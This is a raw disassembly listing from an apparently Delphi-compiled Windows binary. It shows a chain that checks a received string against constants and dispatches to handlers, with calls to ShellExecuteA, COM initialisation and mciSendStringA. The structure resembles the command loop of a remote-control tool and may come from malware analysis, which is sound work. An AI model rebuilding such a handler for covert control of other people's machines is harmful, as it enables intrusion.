mov edx, 0x47de90
call fcn.00405818
mov edx, dword [ebp - 0x54c]
mov eax, dword [ebp - 8]
call fcn.0048ab58
push 0
push 0
push 0
lea eax, [ebp - 0x550]
call fcn.00489bb0
lea eax, [ebp - 0x550]
mov edx, 0x47de90
call fcn.00405818
mov eax, dword [ebp - 0x550]
call fcn.004059dc
push eax
push 0x47dea0
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 8]
mov edx, 0x47deb0
call fcn.00405974
jne 0x479e3a
lea eax, [ebp - 0x554]
call fcn.00470b68
cmp dword [ebp - 0x554], 0
je 0x479dfa
lea eax, [ebp - 0x55c]
call fcn.00470b68
mov ecx, dword [ebp - 0x55c]
lea eax, [ebp - 0x558]
mov edx, 0x47decc
call fcn.00405864
mov eax, dword [ebp - 0x558]
call fcn.00475e2c
lea eax, [ebp - 0x560]
call fcn.00470b94
cmp dword [ebp - 0x560], 0
je 0x479e3a
lea eax, [ebp - 0x568]
call fcn.00470b94
mov ecx, dword [ebp - 0x568]
lea eax, [ebp - 0x564]
mov edx, 0x47dee0
call fcn.00405864
mov eax, dword [ebp - 0x564]
call fcn.00475e2c
mov eax, dword [ebp - 8]
mov edx, 0x47def4
call fcn.00405974
jne 0x479e75
lea eax, [ebp - 0x570]
call fcn.00470b68
mov ecx, dword [ebp - 0x570]
lea eax, [ebp - 0x56c]
mov edx, 0x47df10
call fcn.00405864
mov eax, dword [ebp - 0x56c]
call fcn.00475e2c
lea eax, [ebp - 0x574]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x574]
mov edx, 0x47df24
call fcn.00405974
jne 0x479eee
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
movzx eax, byte [0x47d2f0]
push eax
lea eax, [ebp - 0x578]
push eax
mov ecx, 0x47df38
mov edx, 0x47df44
mov eax, dword [ebp - 8]
call fcn.0040ef44
mov edx, dword [ebp - 0x578]
lea eax, [ebp - 8]
call fcn.004055c8
call fcn.00431a7c
mov edx, dword [ebp - 8]
call fcn.00431604
mov eax, dword [ebp - 8]
mov edx, 0x47df50
call fcn.00405974
jne 0x479f07
call fcn.00431a7c
mov edx, dword [eax]
call dword [edx + 0x10]
lea eax, [ebp - 0x57c]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x57c]
mov edx, 0x47df60
call fcn.00405974
jne 0x479feb
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x580]
call fcn.00470d2c
mov eax, dword [ebp - 0x580]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475fd8
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47df74
call fcn.00405974
jne 0x47a07e
push 0
call sub.ole32.dll_CoInitialize
xor eax, eax
push ebp
push 0x47a077
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x588]
call fcn.00464f98
mov eax, dword [ebp - 0x588]
lea edx, [ebp - 0x584]
call fcn.00409b7c
cmp dword [ebp - 0x584], 0
je 0x47a064
lea eax, [ebp - 0x590]
call fcn.00464f98
mov ecx, dword [ebp - 0x590]
lea eax, [ebp - 0x58c]
mov edx, 0x47df84
call fcn.00405864
mov eax, dword [ebp - 0x58c]
call fcn.00475e2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47a07e
call sub.ole32.dll_CoUninitialize
ret
lea eax, [ebp - 0x594]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x594]
mov edx, 0x47df98
call fcn.00405974
jne 0x47a162
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x598]
call fcn.0048ac14
mov eax, dword [ebp - 0x598]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475fd8
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47dfb0
call fcn.00405974
jne 0x47a176
call fcn.0046dc28
mov eax, dword [ebp - 8]
mov edx, 0x47dfc4
call fcn.00405974
jne 0x47a18a
call fcn.0046dc4c
mov eax, dword [ebp - 8]
mov edx, 0x47dfd8
call fcn.00405974
jne 0x47a19e
call fcn.0046da50
mov eax, dword [ebp - 8]
mov edx, 0x47dfec
call fcn.00405974
jne 0x47a1b2
call fcn.0046dab4
mov eax, dword [ebp - 8]
mov edx, 0x47e000
call fcn.00405974
jne 0x47a1c6
call fcn.0046db18
mov eax, dword [ebp - 8]
mov edx, 0x47e01c
call fcn.00405974
jne 0x47a1da
call fcn.0046db5c
mov eax, dword [ebp - 8]
mov edx, 0x47e038
call fcn.00405974
jne 0x47a1ee
call fcn.0046dba0
mov eax, dword [ebp - 8]
mov edx, 0x47e054
call fcn.00405974
jne 0x47a202
call fcn.0046dbe4
mov eax, dword [ebp - 8]
mov edx, 0x47e070
call fcn.00405974
jne 0x47a216
call fcn.004710a0
mov eax, dword [ebp - 8]
mov edx, 0x47e084
call fcn.00405974
jne 0x47a22a
call fcn.00471078
mov eax, dword [ebp - 8]
mov edx, 0x47e098
call fcn.00405974
jne 0x47a240
xor eax, eax
call fcn.004710f0
mov eax, dword [ebp - 8]
mov edx, 0x47e0b0
call fcn.00405974
jne 0x47a256
mov al, 1
call fcn.004710f0
mov eax, dword [ebp - 8]
mov edx, 0x47e0c8
call fcn.00405974
jne 0x47a26c
xor eax, eax
call fcn.00471010
mov eax, dword [ebp - 8]
mov edx, 0x47e0e4
call fcn.00405974
jne 0x47a282
mov al, 1
call fcn.00471010
mov eax, dword [ebp - 8]
mov edx, 0x47e100
call fcn.00405974
jne 0x47a298
mov al, 1
call fcn.00470ed4
mov eax, dword [ebp - 8]
mov edx, 0x47e11c
call fcn.00405974
jne 0x47a2ae
xor eax, eax
call fcn.00470ed4
mov eax, dword [ebp - 8]
mov edx, 0x47e138
call fcn.00405974
jne 0x47a2c2
call fcn.004710c8
mov eax, dword [ebp - 8]
mov edx, 0x47e148
call fcn.00405974
jne 0x47a2e1
push 0
push 0
push 0
push 0x47e150
call sub.winmm.dll_mciSendStringA
lea eax, [ebp - 0x59c]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x59c]
mov edx, 0x47e178
call fcn.00405974
jne 0x47a361
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47d285
lea eax, [ebp - 0x76c]
mov edx, 0x28
call fcn.00405554
lea eax, [ebp - 0x6cc]
call fcn.0040700c
lea eax, [ebp - 0x6c8]
mov edx, 0x3b
call fcn.00405554
lea eax, [ebp - 0x5dc]
mov edx, 0x51
call fcn.00405554
lea eax, [ebp - 0x498]
call fcn.0040700c
lea eax, [ebp - 0x494]
call fcn.00405d28
lea eax, [ebp - 0x490]
call fcn.0040700c
lea eax, [ebp - 0x48c]
call fcn.00405d28
lea eax, [ebp - 0x488]
call fcn.0040700c
lea eax, [ebp - 0x484]
call fcn.00405d28
lea eax, [ebp - 0x480]
call fcn.0040700c
lea eax, [ebp - 0x47c]
call fcn.00405d28
lea eax, [ebp - 0x478]
call fcn.0040700c
lea eax, [ebp - 0x474]
call fcn.00405d28
lea eax, [ebp - 0x470]
mov edx, dword [0x45ea30]
mov ecx, 5
call fcn.004060f8
lea eax, [ebp - 0x45c]
mov edx, 4
call fcn.00405554
lea eax, [ebp - 0x44c]
mov edx, 0x33
call fcn.00405554
lea eax, [ebp - 0x378]
mov edx, 0x31
call fcn.00405554
lea eax, [ebp - 0x2b4]
mov edx, 0x2e
call fcn.00405554
lea eax, [ebp - 0x198]
mov edx, dword [0x408b28]
call fcn.004060ac
lea eax, [ebp - 0x38]
call fcn.00411650
lea eax, [ebp - 0x28]
mov edx, 9
call fcn.00405554
ret